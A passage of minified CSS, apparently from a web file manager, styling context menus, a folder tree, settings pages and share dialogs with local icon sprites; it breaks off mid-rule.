.aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-treeSelf{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-treeSelf:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-treeFav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.x-treeFav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open_the_path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open_the_path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute_to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute_to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy_to .font-icon,.context-menu-list .context-menu-item.copy_see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy_to .font-icon:before,.context-menu-list .context-menu-item.copy_see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav_remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav_remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open_text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open_text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav_page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav_page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon:before,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:10px;box-shadow:0 0 0 1px #6db9f5;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}body{-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow-x:hidden;}body ul{margin:0;padding:0;}body li{margin:0;padding:0;}#body a{text-decoration:none;}#body input[type='text'],#body input[type='password']{padding-left:0.5em;outline:none;border:1px solid #bbb;border:1px solid #ddd;background:#fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;border-radius:3px;}#body input[type='text']:focus,#body input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .font-icon{padding-right:0.8em;display:inline-block;}#body .system_conennt .left_freame .left_content .role_box ul li.select{background:#80DBFF;}#body .system_conennt .left_freame .left_content .ztree li a{border:1px solid #fff;padding:0px;}#body .system_conennt .left_freame .left_content .ztree li a.hover{border:1px solid #63acff;color:#444;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{color:#666;border:1px solid #63acff;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode.hover{color:#666;border:1px solid #63acff;}#body .panel{border-radius:0;margin-right:30px;}#body .panel-default>.panel-heading{background:#eee;padding:8px 15px;}#body .panel-title{font-size:1.1em;}#body .form_row{margin-bottom:5px;font-size:1.1em;width:100%;float:left;}#body .form_row:after{clear:both;}#body .form_row label{margin-right:20px;}#body .form_row input[type='radio']{display:inline-block;margin-right:10px;}#body .form_row input[type='text'],#body .form_row input[type='password']{display:inline-block;margin-right:10px;height:30px;width:200px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;color:#444;border-radius:3px;}#body .form_row input[type='text']:focus,#body .form_row input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .form_row textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:400px;height:80px;border-radius:3px;padding:8px;transition:none;}#body .form_row textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .form_row.line{border-bottom:2px solid #eee;}#body .form_row .setting_title{float:left;width:100px;height:30px;padding-top:5px;}#body .form_row .setting_content{float:left;margin-left:20px;}#body .form_row .setting_content .desc{width:120px;}#body .form_row .font-icon{padding:0;}#body .form_row .file_select_input input{width:500px;}#body .form_row .file_select_input .path_select{padding:1px 10px;margin-left:-16px;height:30px;border-top-left-radius:0;border-bottom-left-radius:0;margin-top:-3px;margin-top:-6px \9\0;line-height:30px;}#body .form_row i{padding-left:5px;color:#777;font-size:12px;font-style:normal;display:inline-block;padding-top:5px;}#body .form_row.from_row_submit{background:#eee;margin:0;border-top:1px solid #ddd;padding:15px 0px 15px 0px;}#body .form_row.from_row_submit .setting_content{margin-left:10px;}#body .form_row.from_row_submit .btn{padding:4px 2em;margin-left:10px;}#body .system_setting .panel,#body .setting_system_others .panel{margin-top:10px;}#body .system_setting .panel-body,#body .setting_system_others .panel-body{padding:0px;padding-top:20px;}#body .system_setting .form_row,#body .setting_system_others .form_row{padding:5px 0px 5px 0px;}#body .system_setting .form_row .setting_title,#body .setting_system_others .form_row .setting_title{width:150px;margin-left:20px;}#body .system_setting .form_row input[type='text'],#body .setting_system_others .form_row input[type='text']{display:block;float:left;width:300px;}#body .system_setting .form_row label,#body .setting_system_others .form_row label{padding-right:20px;line-height:28px;margin:0;}#body .system_setting .form_row label input:focus,#body .setting_system_others .form_row label input:focus{box-shadow:none;}#body .system_setting .form_row.from_row_submit,#body .setting_system_others .form_row.from_row_submit{background:#eee;margin:0;border-top:1px solid #ddd;padding:15px 0px 15px 0px;}#body .system_setting .form_row.from_row_submit .setting_content,#body .setting_system_others .form_row.from_row_submit .setting_content{margin-left:10px;}#body .system_setting .form_row.from_row_submit .btn,#body .setting_system_others .form_row.from_row_submit .btn{padding:4px 2em;margin-left:10px;}#body .setting_tools_right{position:absolute;right:30px;top:27px;}#body .setting_tools_right .version_vip{display:inline-block;float:right;right:120px;top:26px;text-align:center;padding:0px 10px;height:24px;line-height:24px;border-radius:3px;}#body .setting_tools_right .system_setting_more{margin-left:10px;}#body .color_default{position:absolute;left:355px;margin-top:45px;width:270px;border-radius:6px;box-shadow:0 0 20px #ddd inset;}#body .color_default .color_list{width:40px;height:40px;float:left;box-shadow:0 0 10px #ddd;margin:7px;border-radius:20px;cursor:pointer;}#body .color_default .color_list:hover{box-shadow:0 0 10px rgba(0,0,0,0.5);}#body .ztree{padding:5px 5px;}#body .menu_left{position:fixed;z-index:10;background:#f9f9f9;left:0;height:100%;width:18%;border-right:1px solid #ddd;margin-left:-1px;}#body .menu_left h1{text-align:left;color:#666;padding:15px 20px 10px 30px;font-size:35px;font-weight:800;}#body .menu_left .setting a{height:40px;line-height:40px;text-decoration:none;box-sizing:border-box;text-indent:10px;color:#666;display:block;overflow:hidden;cursor:pointer;text-transform:capitalize;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;font-size:15px;}#body .menu_left .setting a:hover{background:#f3f3f3;}#body .menu_left .setting a.selected{background:#ddd;color:#000;border-left:5px solid #EA533F;padding-left:10px;}#body .randomImage{width:25px;height:25px;margin-left:15px;cursor:pointer;}#body .main{position:absolute;left:18%;width:82%;height:93%;margin:30px 0 0 10px;}#body .main .h1 .font-icon{padding-right:16px;}#body .main div.h1{font-weight:400;color:#666;padding-bottom:8px;margin:0;font-size:22px;}#body .main .savebox{border-top:1px solid #eee;margin-bottom:10px;}#body .main .savebox a.save{margin-left:5px;margin-top:5px;padding:4px 20px;}#body .main .list{float:left;width:140px;height:115px;margin-right:10px;margin-bottom:10px;border:1px solid #ddd;background:#fff;cursor:pointer;border-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .main .list .ico{width:120px;height:80px;margin:10px;text-align:center;}#body .main .list .theme{margin:5px 10px;}#body .main .list .info{text-align:center;color:#666;margin:0px;margin-top:0px;font-size:1em;height:24px;line-height:24px;border-top:1px solid #eee;background:rgba(0,0,0,0.05);overflow:hidden;}#body .main .list .ico img{max-width:100%;height:100%;}#body .main .list.this{border:1px solid #63acff;background-color:#c9e2ff;}#body .main .list.this .info{color:#444;border-top:1px solid #c9e2ff;}#body .main .list.listhover{border:1px solid #63acff;}#body .main .content{word-break:break-all;color:#448;}#body .main .content h2{border-bottom:1px dashed #eef;padding-bottom:5px;margin-bottom:5px;font-weight:400;font-size:1.25em;}#body .main .content p{margin-left:5px;text-indent:2em;margin-bottom:8px;color:#666;font-size:1em;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}#body .main .content .box{color:#555;clear:both;color:#666;}#body .main .content .box .title{color:#444;border-bottom:1px dashed #ddd;font-size:21px;margin-bottom:10px;margin-top:10px;}#body .main .content .box .title span{border-bottom:1px solid #aaa;display:inline-block;margin-bottom:-1px;text-align:center;padding:5px 10px;float:none;width:auto;}#body .main .content .box p{line-height:1.7em;text-indent:2em;padding:3px;margin:0;}#body .main .content .box p b{padding-right:8px;}#body .main .content .box p i{padding-right:10px;}#body .main .nav a{display:block;float:left;padding:4px 2em;background:#eee;border:1px solid #ddd;margin-bottom:-1px;margin-left:-1px;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;color:#666;}#body .main .nav a:hover,#body .main .nav a.this{background:#666;color:#444;border:1px solid #666;border-left-color:#666;color:#fff;}#body .main .member input{display:inline-block;width:45px;margin-left:2px;}#body .main .member span{padding-left:10px;}#body .main .member select{padding:3px 5px;font-family:"微软雅黑";color:#666;}#body .main .member .info{background:#efe;padding:6px 10px;color:#8a8;border:#ccc 1px dotted;margin-top:10px;}#body .main .member .edit_role{color:#666;}#body .main .member .edit_role:hover{border-bottom:1px solid #666;}#body .main .together{margin-top:-1px;border-bottom:1px solid #eee;padding:5px 0 0 0px;}#body .main .together .title{float:left;width:80px;height:28px;margin:5px;color:#333;}#body .main .together .title i{padding-left:5px;font-style:normal;}#body .main .together span.text{color:#bbb;font-size:1em;padding-left:10px;}#body .main .together.input input{width:40%;margin-left:5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:26px;line-height:26px;}#body .main .together.input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .main .group_editor .tag{height:27px;line-height:30px;margin:2px 4px;padding:0px 8px;text-decoration:none;color:#666;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;display:block;float:left;border:1px solid #eee;background:#fff;}#body .main .group_editor .tag input{border:none;vertical-align:initial;display:inline-block;min-height:12px;margin-right:6px;}#body .main .group_editor .tag:hover{color:#63acff;border-color:rgba(99,172,255,0.7);}#body .main .group_editor .tag.this{border-color:#63acff;color:#63acff;background:#ffffff;}#body .main .group_editor .tag span{cursor:pointer;}#body .main .group_editor .together a.button{margin:0 0 0 10px;}#body .alert{position:absolute;right:30px;left:0px;margin-top:10px;}#body .main .save{width:60px;margin-top:10px;}#body .main .content .title span{border-bottom:2px solid #bbb;}#body .main .panel{margin-left:-1px;}#body .main .panel table .title{font-size:1.15em;}#body .main .panel table .button{margin-left:0px;}#body .main .panel table .title span{border:none;}#body .main .panel table .menu_list .name input{width:90%;font-weight:400;}#body .main .panel table .menu_list .path input{width:90%;font-weight:400;}#body .menu_list{color:#666;}#body .menu_list td span{display:none;}#body .menu_list td label{float:right;margin-right:8px;line-height:34px;padding-top:0px;}#body .menu_list td label input{margin-right:5px;width:initial;}#body .menu_list td.url input[type=text]{width:50% !important;float:left;margin-top:5px;}#body .menu_list td label span{display:inline-block;}#body .menu_system td input[type='text']{display:none !important;}#body .menu_system td span{display:inline !important;}#body .menu_system .move_del{display:none !important;}#body .menu_hidden{opacity:0.5;}#body .setting_menu table tr td.url{line-height:30px;}#body .save{width:auto;}#body .main .select table a.button{padding:0 8px;}#body input[type="radio"]{width:auto;border:none;}#body .setting_menu{margin-left:-1px;}#body table{font-size:1em;color:#888;width:100%;margin:0px;border:none;}#body table tr{border-bottom:1px solid #eee;background:#fff;height:30px;}#body table tr input[type='text']{display:block;width:80%;color:#888;height:24px;}#body table tr.title{background:#fff;color:#224;line-height:2.5em;height:2.5em;}#body table tr.title td{border-bottom:1px solid #eee;font-weight:800;}#body table tr.title span{color:#999;font-size:1em;padding-left:4px;font-weight:400;}#body table tr td{border-bottom:1px solid #eee;line-height:2.5em;height:2.5em;padding-left:3%;border-right:1px solid #eee;}#body table tr td.name{width:30%;}#body table tr td.name,#body table tr td.path{border-right:1px solid #eee;}#body table tr td.action{line-height:1.3em;}#body table tr td.action a{margin-right:5px;}#body table tr td .font-icon{padding-right:0em;}#body a.add{display:block;text-align:center;text-decoration:none;background:#eee;line-height:25px;height:25px;color:#444;box-shadow:none;}#body a.add:hover{background:#def;}#body .system_menu_save{padding:4px 2em;margin-top:20px;}#body .create_app{margin:0;display:block;position:absolute;right:21px;cursor:pointer;}#body .app_menu_left{min-width:130px;width:130px;}#body .app_menu_left .setting li.selected{padding-left:12px;}div#body div.app_list .app-list .app_li{border:1px solid #ddd;border-radius:0px;box-shadow:0 2px 7px #f6f6f6;}body.setting_page a.font-icon-label{color:#698ebf;font-size:20px;width:35px;text-decoration:none;padding:0;display:inline-block;text-align:center;border-radius:3px;background:#E9F3F9;}body.setting_page a.font-icon-label:hover{background:#698ebf;color:#fff;}body.setting_page a.font-icon-label .font-icon{padding:0 !important;}body.setting_page .select_drop_menu.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle),body.setting_page .button_aciton_muti.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-radius:2px;}body.setting_page .select_drop_menu ul.dropdown-menu,body.setting_page .button_aciton_muti ul.dropdown-menu{border:1px solid rgba(0,0,0,0.15);box-shadow:0 4px 30px rgba(0,0,0,0.2);}body.setting_page .select_drop_menu ul.dropdown-menu li>a,body.setting_page .select_drop_menu ul.dropdown-menu li>a,body.setting_page .button_aciton_muti ul.dropdown-menu li>a,body.setting_page .button_aciton_muti ul.dropdown-menu li>a{font-size:13px;padding:3px 30px;color:#666;}body.setting_page .select_drop_menu ul.dropdown-menu li>a:focus,body.setting_page .select_drop_menu ul.dropdown-menu li>a:hover,body.setting_page .button_aciton_muti ul.dropdown-menu li>a:focus,body.setting_page .button_aciton_muti ul.dropdown-menu li>a:hover{background:#63acff;color:#fff;}body.setting_page .aui_title{font-size:1em;}body.setting_page .label-info{color:#698ebf;background:#E9F3F9;font-weight:400;font-style:12px;}.share_dialog .space_info_bar{margin:0 auto;margin-top:5px;}.share_dialog .label-default{background-color:#bbb;}.share_dialog .space_info_bar .space_process .space_process_use{background-color:#284b5a;}.share_dialog .select_drop_menu button.btn{width:150px;height:25px;}.share_dialog .select_drop_menu .selected{background-color:#def;}.share_dialog .select_parent_content .btn{width:140px;}.share_dialog .select_parent_content .icon-group{color:#FC913F;}.share_dialog .btn-default{background:#fefefe;background-image:none;filter:none;padding:2px 6px;}.share_dialog .dlg_group_display{width:270px;position:relative;left:90px;top:-33px;clear:both;margin-bottom:-20px;}.share_dialog .dlg_group_display .cell span.label{float:left;margin:4px 8px 4px 0;font-size:1em;}body.setting_page .ztree a{border:none;padding-left:3px;}body.setting_page .ztree a:hover{border:none;}body.setting_page .ztree li a.curSelectedNode{color:#fff;}body.setting_page .ztree .sub_menu{float:right;display:none;line-height:20px;padding-right:7px;font-size:1.15em;color:#ddd;}body.setting_page .ztree .hover .sub_menu{display:inline-block;color:#666;}body.setting_page .ztree .curSelectedNode .sub_menu,body.setting_page .ztree .hover.curSelectedNode .sub_menu{display:inline-block;color:#fff;}textarea#name{width:157px;height:80px;border:1px solid #ddd;font-size:13px;border-radius:3px;outline:none;}textarea#name:focus{border-color:#75a1f0;box-shadow:0 0 4px #75a1f0;}body.setting_page .select_parent_content .ztree{position:absolute;left:110px;width:160px;margin-top:-2px;background-color:#fff;border:1px solid #ccc;overflow-y:auto;height:250px;}body.setting_page .select_parent_content .ztree .sub_menu,body.setting_page .select_parent_content .ztree .curSelectedNode 